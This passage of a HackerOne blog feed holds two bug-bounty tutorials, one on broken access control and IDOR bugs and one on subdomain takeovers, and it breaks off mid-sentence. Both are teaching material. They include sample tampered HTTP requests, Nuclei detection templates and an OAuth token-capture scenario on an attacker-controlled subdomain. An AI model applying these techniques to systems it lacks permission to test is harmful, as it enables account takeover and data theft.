    <dc:creator>h1_admin</dc:creator>
    <guid isPermaLink="false">5434 at https://www.hackerone.com</guid>
    </item>
<item>
  <title>How To Find Broken Access Control Vulnerabilities in the Wild</title>
  <link>https://www.hackerone.com/blog/how-find-broken-access-control-vulnerabilities-wild</link>
  <description><![CDATA[<span class="field field--name-title field--type-string field--label-hidden">How To Find Broken Access Control Vulnerabilities in the Wild</span>
    



    
        Luke Stevens
        
            Security Researcher
      
    


<span class="field field--name-uid field--type-entity-reference field--label-hidden"><span>h1_admin</span></span>
<span class="field field--name-created field--type-created field--label-hidden">Mon, 09/30/2024 - 10:21
</span>

            
  
      
  
    Image
                



          

  

      
            September 30th, 2024

      
            <h2 dir="ltr">What Is Broken Access Control?</h2><p dir="ltr">BAC is a class of application vulnerability where a function or asset in the application is accessible to someone who should not have access.</p><p dir="ltr">If you're anything like me, that definition will not have gotten you any closer to understanding what BAC means, so here are some fictitious examples of BAC bugs:</p><h3 dir="ltr">BAC Example 1: An e-commerce website allows unauthorized viewing of customer details</h3><p dir="ltr">Let's say your favourite online camping shop is having a sales on waterproof hiking boots, so you decide to take a look. You recently moved house, so before you make a purchase you want to check if your delivery address is up to date on your customer profile. You login and navigate to your account settings which takes you to the following URL:</p>/users/482<p dir="ltr">In this instance,&nbsp;482 is your user's numeric identifier. It is very common for applications to store objects in a database, referring to them with a unique numeric identifier. The row of the database might look something like this:</p><strong>user_id</strong>482<strong>email</strong>hakluke@wearehackerone.com<strong>password</strong>$2y$10$Y71TNx.PAFw<br>FBySCbJ4EO.pL0LF5<br>w84t/PEK00DGcaQ5bJSTkUjCK<strong>address</strong>955 Broadway, Boston, MA, USA<p dir="ltr">When navigating to&nbsp;/users/482 the email, address, and credit number are shown on the page.<br><br>But, what happens if we change 482 to another number, such as 481?</p><p dir="ltr">You navigate to&nbsp;/users/481 and the details of another user are displayed. Of course, these details should&nbsp;<em>not</em> be viewable to you, which means that you have just stumbled across a BAC bug. This could be further exploited by accessing all of the user details from 0-481, which is exactly how some data breaches occur.</p><h3 dir="ltr">BAC Example 2: A bank allows transactions from unauthorized parties</h3><p dir="ltr">In this example, we'll cover a slightly different style of BAC vulnerability. Instead of having unauthorized access to sensitive data, the attacker will have unauthorized access to&nbsp;<em>functionality</em>.</p><p dir="ltr">Let's say that you log into your bank account's website to pay some money to a friend. You notice that upon sending the transaction, your browser sends a request that looks like this:</p>POST /api/v1/transfer HTTP/1.1<br>Host: bank.example.com<br>Content-Type: application/json<br>Authorization: Bearer your_access_token<br><br>{<br>&nbsp; &nbsp; "from_account":&nbsp;"472938294",<br>&nbsp; &nbsp; "to_account":&nbsp;"483928403",<br>&nbsp; &nbsp; "amount":&nbsp;20.00,<br>&nbsp; &nbsp; "currency":&nbsp;"USD",<br>&nbsp; &nbsp; "transfer_description":&nbsp;"Thanks for the pizza!"<br>}<p dir="ltr">Your hacker senses start tingling, so you change the "from_account" to 470000000 and the "to_account" to your own bank account id. You forward the request through and $20 instantly appears in your account.<br><br>You've found a BAC bug, and made $20!<br><br>Just a timely reminder: don't run tests like this unless you have explicit permission because even if you have the best intentions, it may end up landing you in legal trouble.</p><h2 dir="ltr">What's the Difference Between BAC and IDOR?</h2><p dir="ltr">Simply put, Insecure Direct Object Reference (IDOR) bugs are a subset of BAC bugs. IDOR bugs refer to a type of BAC bug where the attacker can access an object that they shouldn't be able to access by simply referencing its ID directly. Some examples of BAC bugs that are&nbsp;<em>not</em> IDOR bugs include:</p><ul><li dir="ltr">Privilege escalation through forced browsing (e.g. gaining administrative privileges by simply navigating to&nbsp;/admin)</li><li dir="ltr">The ability to access another user's resources by tampering with a request (for example, saying that your username is the victim's username), but not actually directly accessing an object through its identifier.</li><li dir="ltr">Broken access controls through HTTP verb tampering: e.g. an attacker can update records that they shouldn't be able to update by sending a&nbsp;POST request instead of a&nbsp;GET request in the HTTP request.</li></ul><h2 dir="ltr">Prevalence of Modern BAC Bugs</h2><p dir="ltr">It's tempting to think that BAC bugs should be mostly eradicated by now. They're not. In fact, they've recently taken center stage as they've become number one in the OWASP top ten list. There are some very successful bug bounty hunters who focus almost exclusively on these types of bugs.</p><p dir="ltr">We've seen a drop in the amount of injection bugs (such as SQL injection) over the last 10 years or so because these types of bugs are able to be solved at a high level by using frameworks that encourage developers to code things securely by default. This is very difficult to do with BAC bugs because permission structures in applications are often complex and application-specific. Access controls usually need to be implemented as custom rules, and defined per function or object. If any are missed - it is likely to result in a vulnerability.</p><h2 dir="ltr">Types of BAC Identifiers</h2><p dir="ltr">Specifically for IDOR vulnerabilities, it's important to be aware of the common types of things that developers use as identifiers so that you can spot them quickly when you're scrolling through proxy logs.</p><h3 dir="ltr">User-Chosen Identifiers</h3><p dir="ltr">Perhaps the simplest, these are types of identifiers that the user has chosen, such as a username, email address, or URL slug.</p><h3 dir="ltr">Natural Keys</h3><p dir="ltr">Natural keys are types of identifiers that naturally occur in the data. For example, when referring to a US citizen you might use their social security number as an identifier.</p><h3 dir="ltr">Composite Keys</h3><p dir="ltr">These keys are made up of multiple fields from the object, for example in a standard e-commerce application, you might combine a user identifier with a product identifier to create the identifier of an order.</p><h3 dir="ltr">Numeric identifiers</h3><p dir="ltr">The examples given above are numeric identifiers. This is the most common type of identifier, it simply assigns a number to every new object that is created, incrementing by one each time.</p><p dir="ltr">For example, in a web application that generates invoices, the first invoice might be accessible at:</p>/invoices/1<p dir="ltr">Likewise, the 432nd invoice might be accessible at:</p>/invoices/432<p dir="ltr">These identifiers are the easiest to exploit because you can simply increment or decrement the counter to access other invoices.</p><h3 dir="ltr">UUIDs</h3><p dir="ltr">A UUID (Universally Unique Identifier) is a 128-bit number that is also often used as an identifier. The probability of generating the same UUID more than once is extremely low. For this reason, they are commonly used in software development for identifying resources such as database entries, objects in distributed systems, or unique keys in databases.</p><p dir="ltr">UUIDs are typically represented as a string of hexadecimal digits, divided into five groups separated by hyphens, like this:</p>550e8400-e29b-41d4-a716-446655440000<p dir="ltr">In a nutshell, it's extremely difficult (verging on impossible) to exploit broken access controls if UUIDs are being used as identifiers, unless you can leak the identifiers somehow (which is sometimes possible through normal use of the application).</p><h3 dir="ltr">Hashes</h3><p dir="ltr">Hashes are often used as identifiers, especially when dealing with files. The file is hashed and then this hash becomes the identifier for that file.</p><h2 dir="ltr">Techniques for Finding BAC Bugs</h2><p dir="ltr">There are many ways to find BAC bugs, but here are a few common techniques.</p><h3 dir="ltr">Permissions Mapping</h3><p dir="ltr">Once you've chosen your target, create two lists. On the left, create a list of user roles. On the right, create a list of actions that can be performed in the application. For example, for a simple blog application, it may look like this:</p><p dir="ltr"><strong>User Roles</strong></p><p dir="ltr"><strong>Actions</strong></p><p dir="ltr">Unauthenticated</p><p dir="ltr">Create a new blog</p><p dir="ltr">Editor</p><p dir="ltr">Read blogs</p><p dir="ltr">Administrator</p><p dir="ltr">Update a blog post</p>&nbsp;<p dir="ltr">Delete a blog post</p><p dir="ltr">Now, use a spreadsheet to assign every action to every user, and two more columns. One that says "Should have permission", and one that says "Does have permission". Go through each row and update "should have permission" to "yes" or "no" based on whether that role should have that permission:</p><p dir="ltr"><strong>Action</strong></p><p dir="ltr"><strong>User</strong></p><p dir="ltr"><strong>Should have access</strong></p><p dir="ltr"><strong>Does have access</strong></p><p dir="ltr">Unauthenticated</p><p dir="ltr">Create a new blog</p><p dir="ltr">No</p>&nbsp;<p dir="ltr">Unauthenticated</p><p dir="ltr">Read blogs</p><p dir="ltr">Yes</p>&nbsp;<p dir="ltr">Unauthenticated</p><p dir="ltr">Update a blog post</p><p dir="ltr">No</p>&nbsp;<p dir="ltr">Unauthenticated</p><p dir="ltr">Delete a blog post</p><p dir="ltr">No</p>&nbsp;<p dir="ltr">Editor</p><p dir="ltr">Create a new blog</p><p dir="ltr">No</p>&nbsp;<p dir="ltr">Editor</p><p dir="ltr">Read blogs</p><p dir="ltr">Yes</p>&nbsp;<p dir="ltr">Editor</p><p dir="ltr">Update a blog post</p><p dir="ltr">Yes</p>&nbsp;<p dir="ltr">Editor</p><p dir="ltr">Delete a blog post</p><p dir="ltr">No</p>&nbsp;<p dir="ltr">Administrator</p><p dir="ltr">Create a new blog</p><p dir="ltr">Yes</p>&nbsp;<p dir="ltr">Administrator</p><p dir="ltr">Read blogs</p><p dir="ltr">Yes</p>&nbsp;<p dir="ltr">Administrator</p><p dir="ltr">Update a blog post</p><p dir="ltr">Yes</p>&nbsp;<p dir="ltr">Administrator</p><p dir="ltr">Delete a blog post</p><p dir="ltr">Yes</p>&nbsp;<p dir="ltr">Now the fun begins! For every "No" in the "Should have access" column, test the application to see if you can perform the action. At the end, if there are any rows that have a "No" in the "Should have access" column and "Yes" in the "Does have access" column, you've found a BAC bug. For example:</p><p dir="ltr"><strong>Action</strong></p><p dir="ltr"><strong>User</strong></p><p dir="ltr"><strong>Should have access</strong></p><p dir="ltr"><strong>Does have access</strong></p><p dir="ltr">Unauthenticated</p><p dir="ltr">Create a new blog</p><p dir="ltr">No</p><p dir="ltr">No</p><p dir="ltr">Unauthenticated</p><p dir="ltr">Read blogs</p><p dir="ltr">Yes</p><p dir="ltr">Yes</p><p dir="ltr">Unauthenticated</p><p dir="ltr">Update a blog post</p><p dir="ltr">No</p><p dir="ltr">No</p><p dir="ltr">Unauthenticated</p><p dir="ltr">Delete a blog post</p><p dir="ltr">No</p><p dir="ltr">No</p><p dir="ltr">Editor</p><p dir="ltr">Create a new blog</p><p dir="ltr">No</p><p dir="ltr">No</p><p dir="ltr">Editor</p><p dir="ltr">Read blogs</p><p dir="ltr">Yes</p><p dir="ltr">Yes</p><p dir="ltr">Editor</p><p dir="ltr">Update a blog post</p><p dir="ltr">Yes</p><p dir="ltr">Yes</p><p dir="ltr">Editor</p><p dir="ltr">Delete a blog post</p><p dir="ltr">No</p><p dir="ltr"><strong>Yes</strong></p><p dir="ltr">Administrator</p><p dir="ltr">Create a new blog</p><p dir="ltr">Yes</p><p dir="ltr">Yes</p><p dir="ltr">Administrator</p><p dir="ltr">Read blogs</p><p dir="ltr">Yes</p><p dir="ltr">Yes</p><p dir="ltr">Administrator</p><p dir="ltr">Update a blog post</p><p dir="ltr">Yes</p><p dir="ltr">Yes</p><p dir="ltr">Administrator</p><p dir="ltr">Delete a blog post</p><p dir="ltr">Yes</p><p dir="ltr">Yes</p><p dir="ltr">In this table, you can see that an "Editor" should not be able to delete a blog post, but they can. Time to get reporting!</p><p dir="ltr">For a larger, more complex application, permission mapping can be extremely repetitive and tedious, but having the patience to be comprehensive and thorough pays dividends.</p><h3 dir="ltr">Autorize</h3><p dir="ltr">Autorize is a Burp Suite BApp that helps uncover BAC bugs by replaying your normal browsing requests as another user. It then compares the response of the legitimate request to the response of the illegitimate request to determine whether the request was successful or not. It will then color code responses based on how similar they are, allowing you to easily filter out interesting requests. <a href="https://portswigger.net/bappstore/f9bbac8c4acf4aefa4d7dc92a991af2f">Learn more about Autorize.</a></p><h2>Conclusion</h2><p dir="ltr">It's official: Broken Access Control is the number one most common security issue found in applications according to OWASP. In my own experience hunting on programs, I can confirm that this is indeed the case. They are also quite a simple bug to understand, meaning that they're a great first bug class to learn about. I hope that this blog post has taught you about BAC bugs and inspired you to go out and find a few of your own.<br><br>Happy hacking!</p>
      
            
                                                                                <a href="https://www.hackerone.com/blog/community" hreflang="en">Researcher Community</a>
                    
    
            <p>Perhaps you've just started bug bounties and you keep hearing people talk about Broken Access Control (BAC) bugs. Or, perhaps you're an experienced hacker who has come here for some more advanced BAC tips and tricks. Either way — this blog has got you covered. We'll start with the basics, so feel free to skip ahead.</p>
      ]]></description>
  <pubDate>Mon, 30 Sep 2024 15:21:33 +0000</pubDate>
    <dc:creator>h1_admin</dc:creator>
    <guid isPermaLink="false">5427 at https://www.hackerone.com</guid>
    </item>
<item>
  <title>A Guide To Subdomain Takeovers 2.0</title>
  <link>https://www.hackerone.com/blog/guide-subdomain-takeovers-20</link>
  <description><![CDATA[<span class="field field--name-title field--type-string field--label-hidden">A Guide To Subdomain Takeovers 2.0</span>
    



    
        EdOverflow 
        
            Security Researcher
      
    


<span class="field field--name-uid field--type-entity-reference field--label-hidden"><span>h1_admin</span></span>
<span class="field field--name-created field--type-created field--label-hidden">Wed, 09/25/2024 - 13:02
</span>

            
  
      
  
    Image
                



          

  

      
            September 25th, 2024

      
            <p dir="ltr"><strong>1. </strong><a href="#intro"><strong>Understanding subdomain takeovers</strong></a></p><p dir="ltr"><strong>2. </strong><a href="#vulnerable-services"><strong>Identifying vulnerable services</strong></a></p><p dir="ltr"><strong>3. </strong><a href="#examples"><strong>Examples of vulnerable and secure services</strong></a></p><p dir="ltr"><strong>4. </strong><a href="#enumerating"><strong>Enumerating subdomains</strong></a></p><p dir="ltr"><strong>5. </strong><a href="#automating"><strong>Automating the process of finding subdomain takeovers</strong></a></p><p dir="ltr"><strong>6. </strong><a href="#exploiting"><strong>Exploiting subdomain takeovers</strong></a></p><p dir="ltr"><strong>7. </strong><a href="#final-notes"><strong>Final notes on best practices for reporting subdomain takeovers</strong></a></p><h2 id="intro">Understanding Subdomain Takeovers</h2><h4>Scenario</h4><p dir="ltr">First, a quick, fictitious scenario to get you up to speed with subdomain takeovers. Let's assume that&nbsp;example.com is the target in a&nbsp;<a href="https://www.hackerone.com/product/bug-bounty-platform">bug bounty program</a>. While enumerating all the subdomains belonging to&nbsp;example.com—a process we will explore later—we stumble across&nbsp;subdomain.example.com, which is pointing to a third-party service, namely GoHire. GoHire is a hiring platform that allows users to set custom domains for their branded job boards <a href="https://help.gohire.io/en/articles/3385288-setting-up-a-custom-domain" target="_blank">as documented here.</a>&nbsp;</p><p dir="ltr">In this instance, we can confirm that the subdomain is pointing to GoHire by examining the subdomain's DNS records. This method is not always reliable, particularly when services employ solutions like Cloudflare for DNS management. For simplicity's sake, let us assume that our example is pointing directly to&nbsp;custom.gohire.io, as per the GoHire documentation.</p>$ host subdomain.example.com<br>subdomain.example.com is an alias&nbsp;for custom.gohire.io.<p dir="ltr">When navigating to&nbsp;subdomain.example.com, we encounter the following 404 error page.</p><p>&nbsp;</p><p dir="ltr">At this point, some hackers' senses start tingling. The 404 page suggests that no content is being served under the top-level directory, prompting us to try adding this subdomain to our personal GoHire instance.</p><p>&nbsp;</p><p dir="ltr">Bingo! We have found a subdomain takeover and seized control of the subdomain. How did this happen? The company likely deleted their GoHire instance but overlooked removing the corresponding DNS records. This oversight allowed us to claim ownership of&nbsp;subdomain.example.com since GoHire only requires the DNS to point to&nbsp;custom.gohire.io.</p><p dir="ltr">To prevent such incidents, it is crucial for companies to remove DNS entries before deleting their GoHire instance. Additionally, services such as GoHire could enhance security by implementing a domain ownership challenge and/or per-user randomly generated subdomains. Domain ownership challenges often work by generating a random string that GoHire users must add as a DNS TXT record to the target subdomain. GoHire checks that this DNS TXT record exists on the domain before allowing the user to host their GoHire page, ensuring that the user indeed controls the subdomain before allowing it to point to their service.</p><p dir="ltr">Now that the custom subdomain has been added to our GoHire project, we can see that our instance is being served on&nbsp;subdomain.example.com. For demonstration purposes, we have constructed an HTML document with a code comment containing our HackerOne handle in a random, hidden directory (e.g.,&nbsp;/akjehajkgehagjeahgjkehakghjaehg.html).</p>$ curl https://subdomain.example.com/akjehajkgehagjeahgjkehakghjaehg.html<br>&lt;!-- hackerone.com/edoverflow.com --&gt;<p dir="ltr">Constructing the proof of concept in this subtle manner, rather than on the index page of the hijacked subdomain, avoids damaging the brand's reputation. This is considered good practice and is appreciated by bug bounty program owners. There have been incidents in the past of hackers posting messages similar to "HACKED BY EDOVERFLOW" or hosting images on the index page, which can come across as malicious defacement, even if it is well-intended.</p><h2 id="vulnerable-services">Identifying Vulnerable Services</h2><h4>How do I know if a service is vulnerable?</h4><p dir="ltr">We discussed GoHire as an example of a vulnerable service, but how can we identify other services that leave customers vulnerable to such oversights? There are a few solutions available.</p><h3>Community Resources</h3><p dir="ltr">The straightforward approach is to consult&nbsp;<a href="https://github.com/EdOverflow/can-i-take-over-xyz" target="_blank">"Can I take over XYZ?"</a>. This community-maintained GitHub repository tracks services vulnerable to subdomain takeovers. The repository has largely evolved into a discussion board where the issue tickets allow for more open discussion surrounding the nuances of performing subdomain takeovers against particular services.</p><h3>Hands-on Testing</h3><p dir="ltr">For services not documented in the aforementioned GitHub repository, a more hands-on approach is required. Check if the service conducts domain ownership verification. Sign up for the service and attempt to add your own subdomain. Does the service challenge you in the process? If not, it is likely the service allows for subdomain takeovers. You could simulate a subdomain takeover by trying to "claim" ownership of one of your own subdomains that points to a deleted project or account.</p><h2 id="examples">Examples of Vulnerable and Secure Services</h2><p dir="ltr">At the time of writing, "Can I take over XYZ?" lists 76 services, some of which are vulnerable, while Nuclei&nbsp;<a href="https://github.com/projectdiscovery/nuclei-templates/tree/main/http/takeovers" target="_blank">includes 72 templates</a> for identifying vulnerabilities in these services. These lists aren't exhaustive, but they're a great place to start.</p><p dir="ltr">Let's examine two case studies: one involving a vulnerable service and another in which subdomains are protected from hijacking.</p><h3>Vulnerable Service: ReadMe</h3><p dir="ltr">ReadMe is a tool for creating interactive documentation. Each project is assigned a *.readme.io subdomain, with the option to configure custom subdomains. As shown in the configuration panel below, adding a custom subdomain involves simply adding a CNAME record to the respective *.readme.io subdomain.</p><p dir="ltr">When creating a new project, ReadMe prompts the user to specify their desired *.readme.io subdomain. If a user deletes their project but forgets to remove the corresponding DNS record for their custom subdomain, claiming the subdomain is straightforward: just create a new ReadMe project using the subdomain specified in the CNAME records (e.g.,&nbsp;edoverflows-test-project.readme.io as seen in the screenshot below).</p><h3>Secure Service: Okta</h3><p dir="ltr">A case study illustrating a secure approach is Okta, an identity and access management service. Okta prevents subdomain takeovers from occurring by offering custom domains that require ownership verification through the use of unique, randomly generated strings that users must insert into a DNS TXT record. This process ensures that only users with access to the DNS configuration of a subdomain can link it to their Okta instance. As a result, even if outdated DNS records still point to Okta, the subdomain remains secure and cannot be hijacked. This is because an attacker would need to update the subdomain's DNS configuration with their own newly generated Okta verification string to prove control over the subdomain's DNS settings, thereby demonstrating genuine domain ownership.</p><h2 id="enumerating">Enumerating Subdomains</h2><p dir="ltr">You know how to identify a vulnerable service; however, now you need to actually discover as many in-scope subdomains as possible. To achieve this, two forms of subdomain enumeration can be used in tandem.</p><h3>Active Enumeration</h3><p dir="ltr">This method involves directly interacting with the target domain to gather information about its subdomains. Tools like&nbsp;MassDNS,&nbsp;puredns, and&nbsp;dnsgen perform active brute-force attempts to discover subdomains. These tools systematically probe the domain's DNS infrastructure for any associated subdomains by querying different DNS records (such as A, AAAA, CNAME, etc.) and analyzing the responses received.</p><h3>Passive Enumeration</h3><p dir="ltr">Passive enumeration gathers information without directly interacting with the target domain. This approach typically involves leveraging third-party sources such as search engines, databases, certificate transparency logs, internet data brokers, and other repositories where subdomains may be inadvertently disclosed or indexed. Tools like&nbsp;Amass and&nbsp;Sublist3r automate the collection of such data from a range of passive (and active!) sources, providing a comprehensive list of subdomains associated with the target domain.</p><h2 id="automating">Automating the Process of Finding Subdomain Takeovers</h2><p dir="ltr">Due to the predictable nature of subdomain takeovers, it's possible to automate detection and exploitation.</p><h3>Automation with Nuclei</h3><p dir="ltr">One powerful tool for automating the detection of subdomain takeovers is Nuclei. Nuclei is a vulnerability scanner that supports custom scanning templates, including those designed specifically for identifying subdomain takeovers. Templates can be found under the&nbsp;<a href="https://github.com/projectdiscovery/nuclei-templates/tree/main/http/takeovers" target="_blank">nuclei-templates/http/takeovers</a> folder.</p>$ ls ~/nuclei-templates/http/takeovers/<br>aftership-takeover.yaml &nbsp; &nbsp; &nbsp; &nbsp;ghost-takeover.yaml &nbsp; &nbsp; &nbsp; netlify-takeover.yaml &nbsp; &nbsp; &nbsp; &nbsp;tave-takeover.yaml<br>agilecrm-takeover.yaml &nbsp; &nbsp; &nbsp; &nbsp; gitbook-takeover.yaml &nbsp; &nbsp; ngrok-takeover.yaml &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;teamwork-takeover.yaml<br>aha-takeover.yaml &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;github-takeover.yaml &nbsp; &nbsp; &nbsp;pagewiz-takeover.yaml &nbsp; &nbsp; &nbsp; &nbsp;tilda-takeover.yaml<br>[...]<p dir="ltr">Of course, the selection of services in that template folder is not exhaustive. Therefore, it is advantageous to be able to design custom templates for new vulnerable services that you discover. Usually, this will entail adding a&nbsp;word matcher for a particular string associated with the 404 page of the vulnerable service. For instance, with Wix, the template needs to search for&nbsp;Error ConnectYourDomain occurred and&nbsp;wixErrorPagesApp in the HTTP response.</p>$ cat ~/nuclei-templates/http/takeovers/wix-takeover.yaml<br>id: wix-takeover info:<br>name: Wix Takeover Detection<br>author: harshinsecurity,philippedelteil<br>severity: high<br>description: This subdomain take over would only&nbsp;<br>work on an edge&nbsp;case when the account was deleted.&nbsp;<br>You will need a premium account (~ US$7) to test the take over.<br>reference:<br>&nbsp; - https://github.com/EdOverflow/can-i-take-over-xyz/issues/231<br>metadata:<br>&nbsp; max-request:&nbsp;1<br>tags: takeover,wix http:<br>- method: GET<br>&nbsp; path:<br>&nbsp; &nbsp; -&nbsp;"{{BaseURL}} &nbsp; matchers-condition: and<br>&nbsp; matchers:<br>&nbsp; &nbsp; -&nbsp;type: dsl<br>&nbsp; &nbsp; &nbsp; dsl:<br>&nbsp; &nbsp; &nbsp; &nbsp; - Host != ip &nbsp; &nbsp; -&nbsp;type: word<br>&nbsp; &nbsp; &nbsp; words:<br>&nbsp; &nbsp; &nbsp; &nbsp; -&nbsp;'Error ConnectYourDomain occurred'<br>&nbsp; &nbsp; &nbsp; &nbsp; -&nbsp;'wixErrorPagesApp'<br>&nbsp; &nbsp; &nbsp; condition: and &nbsp; &nbsp; -&nbsp;type: status<br>&nbsp; &nbsp; &nbsp; status:<br>&nbsp; &nbsp; &nbsp; &nbsp; -&nbsp;404 # digest:&nbsp;4a0a00473045022064e66b00c42664cbb39163c28<br>85d293e24428ccf16cd22c4b474e0ab00dbe36e0221009744fe99f306c<br>b4dd01d034c28b7dbdf162cc8818f3f761d729eef8b13473f36:922c64590222<br>798bb761d5b6d8e72950<h3>Writing a Nuclei Template for a New Vulnerable Service</h3><p dir="ltr">Let us walk through the process of writing a Nuclei template for a new vulnerable service. We will use GoHire as our example. The string to match here is: "You may have followed an invalid link, or the job you are looking for has been archived."</p><p dir="ltr">1.&nbsp;<strong>Install Nuclei:</strong> If you have not already, you can install Nuclei by following the instructions on the&nbsp;<a href="https://github.com/projectdiscovery/nuclei?tab=readme-ov-file#install-nuclei">Nuclei GitHub page</a>.</p><p dir="ltr">2.&nbsp;<strong>Create a new template file:</strong> Navigate to your Nuclei templates directory and create a new YAML file, for example,&nbsp;gohire-takeover.yaml.</p><p dir="ltr">3.<strong> Define the template metadata:</strong> Start by adding the metadata for your template. This includes the template ID, information about the template, and any relevant tags.</p>id: gohire-takeover info:<br>&nbsp;name: Gohire.io Takeover Detection<br>&nbsp;author: yourname<br>&nbsp;severity: high<br>&nbsp;description: Detects potential subdomain takeover on Gohire.io by matching a specific error message.<br>&nbsp;reference:<br>&nbsp; &nbsp;- https://github.com/EdOverflow/can-i-take-over-xyz/issues/403<br>&nbsp;tags: takeover, gohire<p dir="ltr">4.&nbsp;<strong>Specify the HTTP request:</strong> Define the HTTP request that Nuclei should perform to check for the vulnerability.</p>http:<br>- method: GET<br>&nbsp; path:<br>&nbsp; &nbsp; -&nbsp;"{{BaseURL}}"<p dir="ltr">5.&nbsp;<strong>Add matchers:</strong> Add matchers to check for specific conditions in the HTTP response. For GoHire, we want to look for the string "You may have followed an invalid link, or the job you are looking for has been archived" in the HTTP response.</p>matchers-condition: and<br>&nbsp; matchers:<br>&nbsp; &nbsp; -&nbsp;type: word<br>&nbsp; &nbsp; &nbsp; words:<br>&nbsp; &nbsp; &nbsp; &nbsp; -&nbsp;'You may have followed an invalid link or the job you are looking for has been archived'<br>&nbsp; &nbsp; &nbsp; condition: and &nbsp; &nbsp; -&nbsp;type: status<br>&nbsp; &nbsp; &nbsp; status:<br>&nbsp; &nbsp; &nbsp; &nbsp; -&nbsp;404<p dir="ltr">6.&nbsp;<strong>Run the template:</strong> With your new template created, you can now test it using Nuclei against a known, vulnerable host (e.g.,&nbsp;vulnerable.example.com).</p>$ echo&nbsp;"http://vulnerable.example.com/" | nuclei -t ~/nuclei-templates/http/takeovers/gohire-takeover.yaml<p dir="ltr">You have successfully created a new Nuclei template for a service not included in the default list. This gives you a competitive edge, as you can now scan for previously undocumented subdomain takeovers that other Nuclei users might overlook.</p><h2 id="exploiting">Exploiting Subdomain Takeovers</h2><p dir="ltr">Now that you control a subdomain belonging to the target and have confirmed your ability to serve content on it, what's the next step?</p><p dir="ltr">As stated earlier, it is considered best practice to host an HTML file on a hidden path, containing a secret message or your HackerOne handle within an HTML comment, rather than publishing content on the index page for the world to see. This approach should be sufficient to demonstrate the issue when initially contacting the program about your finding. Only after receiving permission from the team should you proceed to escalate the issue and fully illustrate the overall impact of the vulnerability. In most cases, the team should already be aware of the potential impact.</p><p dir="ltr">Assuming you are cleared to advance with exploitation and wish to explore different attack avenues, we need to explore how the subdomain interacts with other services and potentially vulnerable components belonging to the bug bounty program.</p><h3>Cookies</h3><p dir="ltr">One significant aspect to consider is the subdomain's ability to modify cookies scoped to the main domain (example.com). If the cookies are not adequately protected, this capability could potentially lead to session hijacking on the main domain.</p><p dir="ltr">From&nbsp;output.jsbin.com, we can set cookies for&nbsp;jsbin.com.</p><p dir="ltr">Similarly, if jsbin.com had a non-HTTPOnly cookie scoped to all of its subdomains, we could read it from output.jsbin.com.</p><p dir="ltr">If the main domain is susceptible to session fixation, setting a malicious session cookie can enable persistent session hijacking. However, in cases where victims have logged in, their browser likely already has a session cookie which is HTTPOnly and hence protected from being overwritten. There are several clever tricks that can be leveraged to create duplicate cookies with the same name with higher precedence over the original ones, <a href="https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=45" target="_blank">which can be found on this slide.</a>&nbsp;</p><h3>Cross-Origin Resource Sharing (CORS)</h3><p dir="ltr">Cross-Origin Resource Sharing (CORS) plays a crucial role in allowing or restricting cross-origin requests. Applications often configure CORS policies, assuming subdomains are trusted entities. When hijacking a subdomain, checking for CORS headers—effectively detected by tools like Burp Suite Pro—becomes pivotal. Exploiting misconfigured CORS policies can potentially allow for unauthorized data extraction, including sensitive authenticated data, from the main application.</p>GET /foobar HTTP/1.1<br>Host: example.com<br>Origin: https://vulnerable.example.com<br>[...] HTTP/1.1&nbsp;200 OK<br>[...]<br>Access-Control-Allow-Origin: https://vulnerable.example.com<br>[...]<h3>OAuth Whitelisting</h3><p dir="ltr">Similar to CORS, OAuth implementations often allow specific callback URIs. Exploiting allowed subdomains can enable you to redirect users during OAuth flows to your controlled subdomain, potentially exposing their OAuth tokens.</p><h4>OAuth Whitelisting Exploitation Example</h4><p dir="ltr">Let's say there's a web application using OAuth 2.0 for user authentication. The implementation allows any subdomain of the application's domain in the redirect URI whitelist. For example, the application's domain is&nbsp;example.com, and the allowed redirect URIs include&nbsp;*.example.com.</p><p>1. The attacker registers a subdomain like&nbsp;attacker.example.com (perhaps the main site allows subdomains to be created for different purposes, like user blogs or workspaces), or maybe the attacker performs a subdomain takeover attack to take control of an existing subdomain.</p><p>2. The attacker prepares a malicious service on attacker.example.com. This service is crafted to capture OAuth tokens when a user is redirected to it, and could be as simple as a HTTP server with logs enabled.</p><p>3. The attacker creates a malicious link with the redirect URI pointing to the compromised subdomain. The victim user tries to authenticate with a third-party OAuth provider (e.g., Google, Facebook) by logging into the legitimate web application at&nbsp;www.example.com, but uses the attacker's crafted link with the malicious&nbsp;redirect_uri.</p><p>4. The OAuth provider checks if the&nbsp;redirect_uri is allowed based on the whitelist set by the legitimate app. Since attacker.example.com is a valid subdomain under&nbsp;*.example.com, the request is approved.</p><p>5. After successful authentication, the OAuth provider redirects the victim back to&nbsp;attacker.example.com, along with the OAuth token in the query parameters or fragment (depending on the OAuth flow, e.g., Authorization Code or Implicit).</p><p>6. The attacker’s malicious server captures the OAuth token or authorization code. With this, the attacker can now access the victim's account, impersonating the victim in the legitimate app.</p><p dir="ltr">This type of attack leverages poor validation of redirect URIs, which can enable an attacker to hijack OAuth tokens and compromise user accounts.</p><h3>Content-Security Policies (CSP)</h3><p dir="ltr">Content-Security Policies (CSP) are a layer of defence, restricting which hosts can execute client-side code within the application's context. If your subdomain is included in the CSP allow list, it could be leveraged to bypass these security measures and execute malicious client-side code.</p>Content-Security-Policy:&nbsp;default-src&nbsp;'self';<br>&nbsp; &nbsp;script-src&nbsp;'self'&nbsp;'unsafe-inline' vulnerable.example.com;<br>&nbsp; &nbsp;style-src&nbsp;'self'&nbsp;'unsafe-inline' vulnerable.example.com;<br>&nbsp; &nbsp;img-src&nbsp;'self' data: vulnerable.example.com;<br>&nbsp; &nbsp;font-src&nbsp;'self' data: vulnerable.example.com;<br>&nbsp; &nbsp;connect-src&nbsp;'self' api.example.com vulnerable.example.com;<br>&nbsp; &nbsp;frame-src&nbsp;'self' vulnerable.example.com;<br>&nbsp; &nbsp;object-src&nbsp;'none';<br>&nbsp; &nbsp;base-uri&nbsp;'self';<br>&nbsp; &nbsp;form-action&nbsp;'self';<h3>Cross-Site Request Forgery (CSRF)</h3><p dir="ltr">Modern browsers include the&nbsp;SameSite attribute to all cookies by default, which eliminates the majority of CSRF attack scenarios. With a subdomain under our control, we can send HTTP requests to the main site with all original cookies attached. This is because subdomains are considered "<em>same site</em>".</p><h2 id="final-notes">Final Notes on Best Practices for Reporting Subdomain Takeovers</h2><h4>Things to Avoid</h4><p dir="ltr">Besides website defacement, there are two things you should avoid when submitting subdomain takeovers. The first is submitting&nbsp;<em>potential</em> takeovers. 